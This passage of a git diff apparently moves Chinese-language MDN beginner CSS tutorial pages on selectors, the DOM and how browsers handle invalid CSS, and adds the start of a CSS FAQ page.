.box {
-  width: 500px;
-  width: calc(100% - 50px);
-}
- -

后面的课程我们会讨论更多关于浏览器兼容的问题。

- -

最后

- -

恭喜你完成本模块,下面的文章你将会使用你的新知识来完成覆盖样式的案例,在这个过程中测试一些CSS样式。

- -

{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

- -

模块目标

- -
    -
  1. 什么是CSS
  2. -
  3. 入门CSS
  4. -
  5. CSS的结构
  6. -
  7. CSS如何运行
  8. -
  9. 使用新知识
  10. -
diff --git a/files/zh-cn/learn/css/first_steps/getting_started/index.html b/files/zh-cn/learn/css/first_steps/getting_started/index.html new file mode 100644 index 0000000000..0a6087ee12 --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/getting_started/index.html @@ -0,0 +1,267 @@ +--- +title: 让我们开始CSS的学习之旅 +slug: Learn/CSS/First_steps/开始 +tags: + - CSS + - 元素 + - 初学者 + - 学习 + - 类 + - 选择器 +translation_of: Learn/CSS/First_steps/Getting_started +--- +
+

{{LearnSidebar}}

+ +

{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}

+
+ +

在这篇文章中,我们将会拿一个简单的HTML文档做例子,并且在上边使用CSS样式,期待你能在此过程中学会更多有关CSS的实战性知识。

+ +

前置知识

+ +

在开始本单元之前,您应该:

+ + + +

目标

+ + + +

先从HTML开始吧

+ +

我们先以HTML文档展开叙述。如果想在自己电脑试一试,可以copy下面的代码。在你的电脑上,将代码以文件名: index.html 的形式保存下来。

+ +
<!doctype html>
+<html lang="en">
+<head>
+    <meta charset="utf-8">
+    <title>开始学习CSS</title>
+</head>
+
+<body>
+
+    <h1>我是一级标题</h1>
+
+    <p>这是一个段落文本. 在文本中有一个 <span>span element</span>
+并且还有一个 <a href="http://example.com">链接</a>.</p>
+
+    <p>这是第二段. 包含了一个 <em>强调</em> 元素.</p>
+
+    <ul>
+        <li>项目1</li>
+        <li>项目2</li>
+        <li>项目 <em>三</em></li>
+    </ul>
+
+</body>
+
+</html>
+
+ +
+

温馨提示:假设你电脑操作环境不方便创建文件运行代码,别担心,可以用我们下方给出的在线实时代码编辑器。

+
+ +

添加CSS试试看?

+ +

我们最想做的就是让HTML文档能够遵守我们给它的CSS规则。 其实有三种方式可以实现,而目前我们更倾向于利用最普遍且有用的方式——在文档的开头链接CSS。

+ +

在与之前所说的HTML文档的相同目录创建一个文件,保存并命名为 styles.css 。(看后缀知道此文件就是CSS文件)

+ +

为了把 styles.css 和 index.html 联结起来,可以在HTML文档中,{{htmlelement("head")}}语句模块里面加上下面的代码:

+ +
<link rel="stylesheet" href="styles.css">
+ +

 {{htmlelement("link")}} 语句块里面,我们用属性rel,让浏览器知道有CSS文档存在(所以需要遵守CSS样式的规定),并利用属性 href 指定,寻找CSS文件的位置。 你可以做测试来验证CSS是否有效:在 styles.css 里面加上CSS样式并观察显示的结果。下面,用你的编辑器打出下面的代码。

+ +
h1 {
+  color: red;
+}
+ +

保存HTML和CSS文档,刷新浏览器网页,不出意外你将看到网页顶层的大标题变成红色了。如果看到这个现象,我得恭喜你:你已经成功将某些CSS样式运用到HTML上了。当然假设没有达到预想结果,可以仔细检查每句代码是否正确,加油:)

+ +

你可以一直在本地编辑器练习 styles.css ,或者采用我们教程下面的交互式智能编辑器。这个编辑器会默认把第一个面板里面的CSS代码联结到旁边的HTML文档,就好像我们上面得两个文档一样互相联结。

+ +

样式化 HTML 元素

+ +

通过上一节将大标题变成红色的例子,我们已经展示了我们可以选中并且样式化 HTML 元素。我们通过触发元素选择器实现这一点——元素选择器,即直接匹配 HTML 元素的选择器。例如,若要样式化一个文档中所有的段落,只需使用选择器 p。若要将所有段落变成绿色,你可以利用如下方式:

+ +
p {
+  color: green;
+}
+ +

用逗号将不同选择器隔开,即可一次使用多个选择器。譬如,若要将所有段落与列表变成绿色,只需:

+ +
p, li {
+    color: green;
+}
+ +

您可以在下面的互动式文本编辑器上试试看,当然您也可以在本地的 CSS 文档上尝试。

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} 

+ +

改变元素的默认行为

+ +

只要一个 HTML 文档标记正确,即使像我们的例子那么简单,浏览器都会尽全力将其渲染至可读状态。标题默认使用大号粗体;列表旁总有项目符号。这是因为浏览器自带一个包含默认样式的样式表,默认对任何页面有效。没有了它们,所有文本会夹杂在一起变得一团糟,我们只得从头开始规定,好糟糕。话说回来,所有现代浏览器的默认样式都没什么差距。

+ +

不过你可能对浏览器的默认样式不太满意。没关系,只需选定那个元素,加一条 CSS 规则即可。就拿我们的无序列表 <ul>举个例子吧,它自带项目符号,不过要是你跟它有仇,你就可以这样移除它们:

+ +
li {
+  list-style-type: none;
+}
+ +

把上述代码加到你的 CSS 里面试一试!

+ +

欢迎参阅 MDN 上的 list-style-type 属性,看看到底有哪些值被支持。 list-style-type 页首提供互动性示例,您可以输入不同的值来瞅一瞅它们到底有什么用。关于每个值的详细描述都规规整整地列在下面。

+ +

通过参阅上述页面,你会发现你不仅能移除项目符号——你甚至能改变它们。赶快试试 square,它能把默认的小黑球变成方框框。

+ +

使用类名

+ +

目前为止,我们通过 HTML 元素名规定样式。如果你愿意所有元素都一个样,也不是不可以,但大多数情况下,我估计你都不愿意。我知道你想干啥,你想用这种方式样式化这一片元素,又想用那种方式样式化那一片元素,真贪心。不过没关系,你可以给 HTML 元素加个类名(class),再选中那个类名,这样就可以了,大家基本上都这么用。

+ +

举个例子吧,咱们把 class 属性加到表里面第二个对象。你的列表看起来应该是这样的:

+ +
<ul>
+  <li>项目一</li>
+  <li class="special">项目二</li>
+  <li>项目 <em>三</em></li>
+</ul>
+ +

在 CSS 中,要选中这个 special 类,只需在选择器的开头加个西文句点(.)。在你的 CSS 文档里加上如下代码:

+ +
.special {
+  color: orange;
+  font-weight: bold;
+}
+ +

保存再刷新,就可以看到变化。

+ +

这个 special 类型可不局限于列表,它可以应用到各种元素上。举个例子,你可能也想让段落里边的 <span> 一起又橙又粗起来。试试把special 类属性加上去,保存,刷新,哇,生活就是这么美好。

+ +

有时你会发现选择器中,HTML 元素选择器跟类一起出现:

+ +
li.special {
+  color: orange;
+  font-weight: bold;
+}
+ +

这个意思是说,“选中每个 special 类的 li 元素”。 你真要这样,好了,它对 <span> 还有其它元素不起作用了。你可以把这个元素再添上去就是了:

+ +
li.special,
+span.special {
+  color: orange;
+  font-weight: bold;
+}
+ +

你们都是懒人,肯定不想每加一个 special 类的元素就改一遍 CSS 表,你肯定想把一个类的属性应用到多个元素上。所以说,有时还是别管元素,光看类就完事了,除非你意志坚定,坚持对这个类的某一种元素创造规则,还不让其它元素用。

+ +

根据元素在文档中的位置确定样式

+ +

有时候,您希望某些内容根据它在文档中的位置而有所不同。这里有很多选择器可以为您提供帮助,但现在我们只介绍几个选择器。在我们的文档中有两个 <em>元素 ——一个在段落内,另一个在列表项内。仅选择嵌套在<li> 元素内的<em>我们可以使用一个称为包含选择符的选择器,它只是单纯地在两个选择器之间加上一个空格。

+ +

将以下规则添加到样式表。

+ +
li em {
+  color: rebeccapurple;
+}
+ +

该选择器将选择<li>内部的任何<em>元素(<li>的后代)。因此在示例文档中,您应该发现第三个列表项内的<em>现在是紫色,但是在段落内的那个没发生变化。

+ +

另一些可能想尝试的事情是在HTML文档中设置直接出现在标题后面并且与标题具有相同层级的段落样式,为此需在两个选择器之间添加一个 + 号 (成为 相邻选择符

+ +

也将这个规则添加到样式表中:

+ +
h1 + p {
+  font-size: 200%;
+}
+ +

下面的示例包含了上面的两个规则。 尝试添加规则使位于段落中的span变为红色。如果正确您将看到在第一段中的span会变为红色,但是第一个列表项中的span不会改变颜色。

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}

+ +
+

Note: 如你所见,CSS 给我们提供了几种定位元素的方法。到目前为止,我们只触及了皮毛!我们将对这些选择器进行适当的研究,更多的内容将在我们后面的Selectors章节中介绍。

+
+ +

根据状态确定样式

+ +

在这篇教程中我们最后要看的一种修改样式的方法就是根据标签的状态确定样式。一个直观的例子就是当我们修改链接的样式时。 当我们修改一个链接的样式时我们需要定位(针对) <a> (锚)标签。取决于是否是未访问的、访问过的、被鼠标悬停的、被键盘定位的,亦或是正在被点击当中的状态,这个标签有着不同的状态。你可以使用CSS去定位或者说针对这些不同的状态进行修饰——下面的CSS代码使得没有被访问的链接颜色变为粉色、访问过的链接变为绿色。

+ +
a:link {
+  color: pink;
+}
+
+a:visited {
+  color: green;
+}
+ +

你可以改变链接被鼠标悬停的时候的样式,例如移除下划线,下面的代码就实现了这个功能。

+ +
a:hover {
+  text-decoration: none;
+}
+ +

在下面的例子中,你可以对超链接的不同状态尝试各种各样的值。我已经编写了一些规则,然而你肯定已经发现粉色看上去太浅以至于不好辨认。— 换个更好的颜色吧。你能将链接变为黑体吗?

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} 

+ +

我们对鼠标悬停于链接上的情况删除了下划线。你当然可以让超链接在任何情况下都没有下划线.。但需要注意的是,对一个实际的站点,需要让浏览者知道“链接是链接”。为了让浏览者注意到一段文字中的某些部分是可点击的,最好保留link状态下的下划线。— 这是下划线的本来作用。不管你用CSS来做什么,都应当使得变化后的文档看上去更加清晰明了。— 在后面,当我们遇到类似的情况时,我们将适时指出。

+ +
+

: 在本教程以及整个MDN站点中,你会经常看到“无障碍”这个词。“无障碍”一词的意思是,我们的网页应当每一个访客都能够理解、使用。

+ +

你的访客可能在一台使用鼠标和键盘操作的计算机前,也可能正在使用带有触摸屏的手机,或者正在使用屏幕阅读软件读出文档内容,或者他们需要使用更大的字体,或者仅仅使用键盘浏览站点。

+ +

一个朴素的HTML文档一般来说对任何人都是可以无障碍访问的 ,当你开始为它添加样式,记得不要破坏这种可访问性。

+
+ +

将选择子和关系选择器组合起来

+ +

你可以将多个选择子和关系选择器组合起来。来看一些例子:

+ +
/* selects any <span> that is inside a <p>, which is inside an <article>  */
+article p span { ... }
+
+/* selects any <p> that comes directly after a <ul>, which comes directly after an <h1>  */
+h1 + ul + p { ... }
+ +

你可以将多种类型组合在一起。试试将下面的代码添加到你的代码里:

+ +
body h1 + p .special {
+  color: yellow;
+  background-color: black;
+  padding: 5px;
+}
+ +

上面的代码为以下元素建立样式:在<body>之内,紧接在<h1>后面的<p>元素的内部,类名为special。

+ +

在我们提供的原始HTML文档中,与之符合的元素只有<span class="special">.

+ +

如果你现在觉得这份代码太复杂了,别担心,— 一旦你开始编写更多的CSS代码,你很快就能找到窍门。

+ +

总结

+ +

在本教程中,我们学习了使用CSS为文档添加样式的几种方法。在教程的剩下部分,我们将继续这个话题。不过,你现在已经有了足够的知识为文本建立样式;根据目标元素的不同用不同的方式应用样式;在MDN文档中查找属性和值。

+ +

在下一节中,我们将看到样式表的结构是什么样的。

+ +

{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}

+ +

在此模块

+ +
    +
  1. 什么是CSS?
  2. +
  3. 开始学习CSS
  4. +
  5. CSS代码是如何组织的
  6. +
  7. CSS是如何工作的
  8. +
  9. 开始使用你的新知识
  10. +
diff --git a/files/zh-cn/learn/css/first_steps/how_css_works/index.html b/files/zh-cn/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..7aafcf481f --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,162 @@ +--- +title: CSS如何运行 +slug: Learn/CSS/First_steps/CSS如何运行 +tags: + - CSS + - DOM + - 入门 + - 无效的CSS代码 + - 解析 +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +

{{LearnSidebar}}
+ {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

+ +

我们已经知道了CSS是做什么的以及怎么写简单的样式这样基础的CSS,接下来我将了解到浏览器如何获取CSS、HTML和将他们加载成网页。

+ + + + + + + + + + + + +
前置知识:基础计算机知识、基本软件安装、简单文件知识、HTML基础
目标:理解浏览器如何加载CSS和HTML、浏览器遇到无法解析的CSS会发生什么
+ +

CSS究竟是怎么工作的?

+ +

当浏览器展示一个文件的时候,它必须兼顾文件的内容和文件的样式信息,下面我们会了解到它处理文件的标准的流程。需要知道的是,下面的步骤是浏览加载网页的简化版本,而且不同的浏览器在处理文件的时候会有不同的方式,但是下面的步骤基本都会出现。

+ +
    +
  1. 浏览器载入HTML文件(比如从网络上获取)。
  2. +
  3. 将HTML文件转化成一个DOM(Document Object Model),DOM是文件在计算机内存中的表现形式,下一节将更加详细的解释DOM。
  4. +
  5. 接下来,浏览器会拉取该HTML相关的大部分资源,比如嵌入到页面的图片、视频和CSS样式。JavaScript则会稍后进行处理,简单起见,同时此节主讲CSS,所以这里对如何加载JavaScript不会展开叙述。
  6. +
  7. 浏览器拉取到CSS之后会进行解析,根据选择器的不同类型(比如element、class、id等等)把他们分到不同的“桶”中。浏览器基于它找到的不同的选择器,将不同的规则(基于选择器的规则,如元素选择器、类选择器、id选择器等)应用在对应的DOM的节点中,并添加节点依赖的样式(这个中间步骤称为渲染树)。
  8. +
  9. 上述的规则应用于渲染树之后,渲染树会依照应该出现的结构进行布局。
  10. +
  11. 网页展示在屏幕上(这一步被称为着色)。
  12. +
+ +

结合下面的图示更形象:

+ +

+ +

关于DOM

+ +

一个DOM有一个树形结构,标记语言中的每一个元素、属性以及每一段文字都对应着结构树中的一个节点(Node/DOM或DOM node)。节点由节点本身和其他DOM节点的关系定义,有些节点有父节点,有些节点有兄弟节点(同级节点)。

+ +

对于DOM的理解会很大程度上帮助你设计、调试和维护你的CSS,因为DOM是你的CSS样式和文件内容的结合。当你使用浏览器F12调试的时候你需要操作DOM以查看使用了哪些规则。

+ +

一个真实的DOM案例

+ +

不同于很长且枯燥的案例,这里我们通过一个HTML片段来了解HTML怎么转化成DOM

+ +

以下列HTML代码为例:

+ +
<p>
+  Let's use:
+  <span>Cascading</span>
+  <span>Style</span>
+  <span>Sheets</span>
+</p>
+
+ +

在这个DOM中,<p>元素对应了父节点,它的子节点是一个text节点和三个对应了<span>元素的节点,SPAN节点同时也是他们中的Text节点的父节点。

+ +
P
+├─ "Let's use:"
+├─ SPAN
+|  └─ "Cascading"
+├─ SPAN
+|  └─ "Style"
+└─ SPAN
+   └─ "Sheets"
+
+ +

上图就是浏览器怎么解析之前那个HTML片段——它生成上图的DOM树形结构并将它按照如下输出到浏览器:

+ +

{{EmbedLiveSample('一个真实的DOM案例', '100%', 55)}}

+ + + +

应用CSS到DOM

+ +

接下来让我们看看添加一些CSS到文件里加以渲染,同样的HTML代码:

+ +
<p>
+  Let's use:
+  <span>Cascading</span>
+  <span>Style</span>
+  <span>Sheets</span>
+</p>
+ +

以下为CSS代码:

+ +
span {
+  border: 1px solid black;
+  background-color: lime;
+}
+ +

浏览器会解析HTML并创造一个DOM,然后解析CSS。可以看到唯一的选择器就是span元素选择器,浏览器处理规则会非常快!把同样的规则直接使用在三个<span>标签上,然后渲染出图像到屏幕。

+ +

现在的显示如下:

+ +

{{EmbedLiveSample('应用CSS到DOM', '100%', 55)}}

+ +

在我们下一个模块的 Debugging CSS 文章中我们将会使用F12调试CSS的问题并且更进一步的了解浏览器如何解析CSS。

+ +

当浏览器遇到无法解析的CSS代码会发生什么

+ +

之前的文章中我们提到了浏览器并不会同时实现所有的新CSS,此外很多人也不会使用最新版本的浏览器。鉴于CSS一直不断的开发,因此领先于浏览器可以识别的范围,那么你也许会好奇当浏览器遇到无法解析的CSS选择器或声明的时候会发生什么呢?

+ +

答案就是浏览器什么也不会做,继续解析下一个CSS样式!

+ +

如果一个浏览器在解析你所书写的CSS规则的过程中遇到了无法理解的属性或者值,它会忽略这些并继续解析下面的CSS声明。在你书写了错误的CSS代码(或者误拼写),又或者当浏览器遇到对于它来说很新的还没有支持的CSS代码的时候上述的情况同样会发生(直接忽略)。

+ +

相似的,当浏览器遇到无法解析的选择器的时候,他会直接忽略整个选择器规则,然后解析下一个CSS选择器。

+ +

在下面的案例中,我使用会导致属性错误的英式拼写来书写"color",所以我的段落没有被渲染成蓝色,而其他的CSS代码会正常执行,只有错误的部分会被忽略。

+ +
+
<p> I want this text to be large, bold and blue.</p>
+ +
p {
+  font-weight: bold;
+  colour: blue; /* incorrect spelling of the color property */
+  font-size: 200%;
+}
+
+ +

{{EmbedLiveSample('Skipping_example', '100%', 200)}}

+ +

这样做好处多多,代表着你使用最新的CSS优化的过程中浏览器遇到无法解析的规则也不会报错。当你为一个元素指定多个CSS样式的时候,浏览器会加载样式表中的最后的CSS代码进行渲染(样式表,优先级等请读者自行了解),也正因为如此,你可以为同一个元素指定多个CSS样式来解决有些浏览器不兼容新特性的问题(比如指定两个width)。

+ +

这一特点在你想使用一个很新的CSS特性但是不是所有浏览器都支持的时候(浏览器兼容)非常有用,举例来说,一些老的浏览器不接收calc()(calculate的缩写,CSS3新增,为元素指定动态宽度、长度等,注意此处的动态是计算之后得一个值)作为一个值。我可能使用它结合像素为一个元素设置了动态宽度(如下),老式的浏览器由于无法解析忽略这一行;新式的浏览器则会把这一行解析成像素值,并且覆盖第一行指定的宽度。

+ +
.box {
+  width: 500px;
+  width: calc(100% - 50px);
+}
+ +

后面的课程我们会讨论更多关于浏览器兼容的问题。

+ +

最后

+ +

恭喜你完成本模块,下面的文章你将会使用你的新知识来完成覆盖样式的案例,在这个过程中测试一些CSS样式。

+ +

{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

+ +

模块目标

+ +
    +
  1. 什么是CSS
  2. +
  3. 入门CSS
  4. +
  5. CSS的结构
  6. +
  7. CSS如何运行
  8. +
  9. 使用新知识
  10. +
diff --git "a/files/zh-cn/learn/css/first_steps/\345\274\200\345\247\213/index.html" "b/files/zh-cn/learn/css/first_steps/\345\274\200\345\247\213/index.html" deleted file mode 100644 index 0a6087ee12..0000000000 --- "a/files/zh-cn/learn/css/first_steps/\345\274\200\345\247\213/index.html" +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: 让我们开始CSS的学习之旅 -slug: Learn/CSS/First_steps/开始 -tags: - - CSS - - 元素 - - 初学者 - - 学习 - - 类 - - 选择器 -translation_of: Learn/CSS/First_steps/Getting_started ---- -
-

{{LearnSidebar}}

- -

{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}

-
- -

在这篇文章中,我们将会拿一个简单的HTML文档做例子,并且在上边使用CSS样式,期待你能在此过程中学会更多有关CSS的实战性知识。

- -

前置知识

- -

在开始本单元之前,您应该:

- - - -

目标

- - - -

先从HTML开始吧

- -

我们先以HTML文档展开叙述。如果想在自己电脑试一试,可以copy下面的代码。在你的电脑上,将代码以文件名: index.html 的形式保存下来。

- -
<!doctype html>
-<html lang="en">
-<head>
-    <meta charset="utf-8">
-    <title>开始学习CSS</title>
-</head>
-
-<body>
-
-    <h1>我是一级标题</h1>
-
-    <p>这是一个段落文本. 在文本中有一个 <span>span element</span>
-并且还有一个 <a href="http://example.com">链接</a>.</p>
-
-    <p>这是第二段. 包含了一个 <em>强调</em> 元素.</p>
-
-    <ul>
-        <li>项目1</li>
-        <li>项目2</li>
-        <li>项目 <em>三</em></li>
-    </ul>
-
-</body>
-
-</html>
-
- -
-

温馨提示:假设你电脑操作环境不方便创建文件运行代码,别担心,可以用我们下方给出的在线实时代码编辑器。

-
- -

添加CSS试试看?

- -

我们最想做的就是让HTML文档能够遵守我们给它的CSS规则。 其实有三种方式可以实现,而目前我们更倾向于利用最普遍且有用的方式——在文档的开头链接CSS。

- -

在与之前所说的HTML文档的相同目录创建一个文件,保存并命名为 styles.css 。(看后缀知道此文件就是CSS文件)

- -

为了把 styles.css 和 index.html 联结起来,可以在HTML文档中,{{htmlelement("head")}}语句模块里面加上下面的代码:

- -
<link rel="stylesheet" href="styles.css">
- -

 {{htmlelement("link")}} 语句块里面,我们用属性rel,让浏览器知道有CSS文档存在(所以需要遵守CSS样式的规定),并利用属性 href 指定,寻找CSS文件的位置。 你可以做测试来验证CSS是否有效:在 styles.css 里面加上CSS样式并观察显示的结果。下面,用你的编辑器打出下面的代码。

- -
h1 {
-  color: red;
-}
- -

保存HTML和CSS文档,刷新浏览器网页,不出意外你将看到网页顶层的大标题变成红色了。如果看到这个现象,我得恭喜你:你已经成功将某些CSS样式运用到HTML上了。当然假设没有达到预想结果,可以仔细检查每句代码是否正确,加油:)

- -

你可以一直在本地编辑器练习 styles.css ,或者采用我们教程下面的交互式智能编辑器。这个编辑器会默认把第一个面板里面的CSS代码联结到旁边的HTML文档,就好像我们上面得两个文档一样互相联结。

- -

样式化 HTML 元素

- -

通过上一节将大标题变成红色的例子,我们已经展示了我们可以选中并且样式化 HTML 元素。我们通过触发元素选择器实现这一点——元素选择器,即直接匹配 HTML 元素的选择器。例如,若要样式化一个文档中所有的段落,只需使用选择器 p。若要将所有段落变成绿色,你可以利用如下方式:

- -
p {
-  color: green;
-}
- -

用逗号将不同选择器隔开,即可一次使用多个选择器。譬如,若要将所有段落与列表变成绿色,只需:

- -
p, li {
-    color: green;
-}
- -

您可以在下面的互动式文本编辑器上试试看,当然您也可以在本地的 CSS 文档上尝试。

- -

{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} 

- -

改变元素的默认行为

- -

只要一个 HTML 文档标记正确,即使像我们的例子那么简单,浏览器都会尽全力将其渲染至可读状态。标题默认使用大号粗体;列表旁总有项目符号。这是因为浏览器自带一个包含默认样式的样式表,默认对任何页面有效。没有了它们,所有文本会夹杂在一起变得一团糟,我们只得从头开始规定,好糟糕。话说回来,所有现代浏览器的默认样式都没什么差距。

- -

不过你可能对浏览器的默认样式不太满意。没关系,只需选定那个元素,加一条 CSS 规则即可。就拿我们的无序列表 <ul>举个例子吧,它自带项目符号,不过要是你跟它有仇,你就可以这样移除它们:

- -
li {
-  list-style-type: none;
-}
- -

把上述代码加到你的 CSS 里面试一试!

- -

欢迎参阅 MDN 上的 list-style-type 属性,看看到底有哪些值被支持。 list-style-type 页首提供互动性示例,您可以输入不同的值来瞅一瞅它们到底有什么用。关于每个值的详细描述都规规整整地列在下面。

- -

通过参阅上述页面,你会发现你不仅能移除项目符号——你甚至能改变它们。赶快试试 square,它能把默认的小黑球变成方框框。

- -

使用类名

- -

目前为止,我们通过 HTML 元素名规定样式。如果你愿意所有元素都一个样,也不是不可以,但大多数情况下,我估计你都不愿意。我知道你想干啥,你想用这种方式样式化这一片元素,又想用那种方式样式化那一片元素,真贪心。不过没关系,你可以给 HTML 元素加个类名(class),再选中那个类名,这样就可以了,大家基本上都这么用。

- -

举个例子吧,咱们把 class 属性加到表里面第二个对象。你的列表看起来应该是这样的:

- -
<ul>
-  <li>项目一</li>
-  <li class="special">项目二</li>
-  <li>项目 <em>三</em></li>
-</ul>
- -

在 CSS 中,要选中这个 special 类,只需在选择器的开头加个西文句点(.)。在你的 CSS 文档里加上如下代码:

- -
.special {
-  color: orange;
-  font-weight: bold;
-}
- -

保存再刷新,就可以看到变化。

- -

这个 special 类型可不局限于列表,它可以应用到各种元素上。举个例子,你可能也想让段落里边的 <span> 一起又橙又粗起来。试试把special 类属性加上去,保存,刷新,哇,生活就是这么美好。

- -

有时你会发现选择器中,HTML 元素选择器跟类一起出现:

- -
li.special {
-  color: orange;
-  font-weight: bold;
-}
- -

这个意思是说,“选中每个 special 类的 li 元素”。 你真要这样,好了,它对 <span> 还有其它元素不起作用了。你可以把这个元素再添上去就是了:

- -
li.special,
-span.special {
-  color: orange;
-  font-weight: bold;
-}
- -

你们都是懒人,肯定不想每加一个 special 类的元素就改一遍 CSS 表,你肯定想把一个类的属性应用到多个元素上。所以说,有时还是别管元素,光看类就完事了,除非你意志坚定,坚持对这个类的某一种元素创造规则,还不让其它元素用。

- -

根据元素在文档中的位置确定样式

- -

有时候,您希望某些内容根据它在文档中的位置而有所不同。这里有很多选择器可以为您提供帮助,但现在我们只介绍几个选择器。在我们的文档中有两个 <em>元素 ——一个在段落内,另一个在列表项内。仅选择嵌套在<li> 元素内的<em>我们可以使用一个称为包含选择符的选择器,它只是单纯地在两个选择器之间加上一个空格。

- -

将以下规则添加到样式表。

- -
li em {
-  color: rebeccapurple;
-}
- -

该选择器将选择<li>内部的任何<em>元素(<li>的后代)。因此在示例文档中,您应该发现第三个列表项内的<em>现在是紫色,但是在段落内的那个没发生变化。

- -

另一些可能想尝试的事情是在HTML文档中设置直接出现在标题后面并且与标题具有相同层级的段落样式,为此需在两个选择器之间添加一个 + 号 (成为 相邻选择符

- -

也将这个规则添加到样式表中:

- -
h1 + p {
-  font-size: 200%;
-}
- -

下面的示例包含了上面的两个规则。 尝试添加规则使位于段落中的span变为红色。如果正确您将看到在第一段中的span会变为红色,但是第一个列表项中的span不会改变颜色。

- -

{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}

- -
-

Note: 如你所见,CSS 给我们提供了几种定位元素的方法。到目前为止,我们只触及了皮毛!我们将对这些选择器进行适当的研究,更多的内容将在我们后面的Selectors章节中介绍。

-
- -

根据状态确定样式

- -

在这篇教程中我们最后要看的一种修改样式的方法就是根据标签的状态确定样式。一个直观的例子就是当我们修改链接的样式时。 当我们修改一个链接的样式时我们需要定位(针对) <a> (锚)标签。取决于是否是未访问的、访问过的、被鼠标悬停的、被键盘定位的,亦或是正在被点击当中的状态,这个标签有着不同的状态。你可以使用CSS去定位或者说针对这些不同的状态进行修饰——下面的CSS代码使得没有被访问的链接颜色变为粉色、访问过的链接变为绿色。

- -
a:link {
-  color: pink;
-}
-
-a:visited {
-  color: green;
-}
- -

你可以改变链接被鼠标悬停的时候的样式,例如移除下划线,下面的代码就实现了这个功能。

- -
a:hover {
-  text-decoration: none;
-}
- -

在下面的例子中,你可以对超链接的不同状态尝试各种各样的值。我已经编写了一些规则,然而你肯定已经发现粉色看上去太浅以至于不好辨认。— 换个更好的颜色吧。你能将链接变为黑体吗?

- -

{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} 

- -

我们对鼠标悬停于链接上的情况删除了下划线。你当然可以让超链接在任何情况下都没有下划线.。但需要注意的是,对一个实际的站点,需要让浏览者知道“链接是链接”。为了让浏览者注意到一段文字中的某些部分是可点击的,最好保留link状态下的下划线。— 这是下划线的本来作用。不管你用CSS来做什么,都应当使得变化后的文档看上去更加清晰明了。— 在后面,当我们遇到类似的情况时,我们将适时指出。

- -
-

: 在本教程以及整个MDN站点中,你会经常看到“无障碍”这个词。“无障碍”一词的意思是,我们的网页应当每一个访客都能够理解、使用。

- -

你的访客可能在一台使用鼠标和键盘操作的计算机前,也可能正在使用带有触摸屏的手机,或者正在使用屏幕阅读软件读出文档内容,或者他们需要使用更大的字体,或者仅仅使用键盘浏览站点。

- -

一个朴素的HTML文档一般来说对任何人都是可以无障碍访问的 ,当你开始为它添加样式,记得不要破坏这种可访问性。

-
- -

将选择子和关系选择器组合起来

- -

你可以将多个选择子和关系选择器组合起来。来看一些例子:

- -
/* selects any <span> that is inside a <p>, which is inside an <article>  */
-article p span { ... }
-
-/* selects any <p> that comes directly after a <ul>, which comes directly after an <h1>  */
-h1 + ul + p { ... }
- -

你可以将多种类型组合在一起。试试将下面的代码添加到你的代码里:

- -
body h1 + p .special {
-  color: yellow;
-  background-color: black;
-  padding: 5px;
-}
- -

上面的代码为以下元素建立样式:在<body>之内,紧接在<h1>后面的<p>元素的内部,类名为special。

- -

在我们提供的原始HTML文档中,与之符合的元素只有<span class="special">.

- -

如果你现在觉得这份代码太复杂了,别担心,— 一旦你开始编写更多的CSS代码,你很快就能找到窍门。

- -

总结

- -

在本教程中,我们学习了使用CSS为文档添加样式的几种方法。在教程的剩下部分,我们将继续这个话题。不过,你现在已经有了足够的知识为文本建立样式;根据目标元素的不同用不同的方式应用样式;在MDN文档中查找属性和值。

- -

在下一节中,我们将看到样式表的结构是什么样的。

- -

{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}

- -

在此模块

- -
    -
  1. 什么是CSS?
  2. -
  3. 开始学习CSS
  4. -
  5. CSS代码是如何组织的
  6. -
  7. CSS是如何工作的
  8. -
  9. 开始使用你的新知识
  10. -
diff --git a/files/zh-cn/learn/css/howto/css_faq/index.html b/files/zh-cn/learn/css/howto/css_faq/index.html new file mode 100644 index 0000000000..0e0593054b --- /dev/null +++ b/files/zh-cn/learn/css/howto/css_faq/index.html @@ -0,0 +1,183 @@ +--- +title: CSS 常见问题 +slug: Web/CSS/Common_CSS_Questions +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +

为什么我有效的CSS没有正确的渲染?

+ +

浏览器使用DOCTYPE声明来选择是否使用更符合Web标准或兼容旧浏览器的bug的模式。在你的HTML的开始使用一个正确的和现代的DOCTYPE声明将改善浏览器标准执行。

+ +

现代浏览器主要有两种渲染模式:

+ + + +

基于Gecko的浏览器, 有三分之一 Almost Standards Mode, 只有一些小怪癖。

+ +

这是最常用的触发标准模式或准标准模式的DOCTYPE声明列表:

+ +
<!DOCTYPE html> /* 这一行是 HTML5 的 doctype 声明。,使用该声明会使现代浏览器使用
+                   HTML5 解析器处理页面,这是推荐的 doctype 声明。*/
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
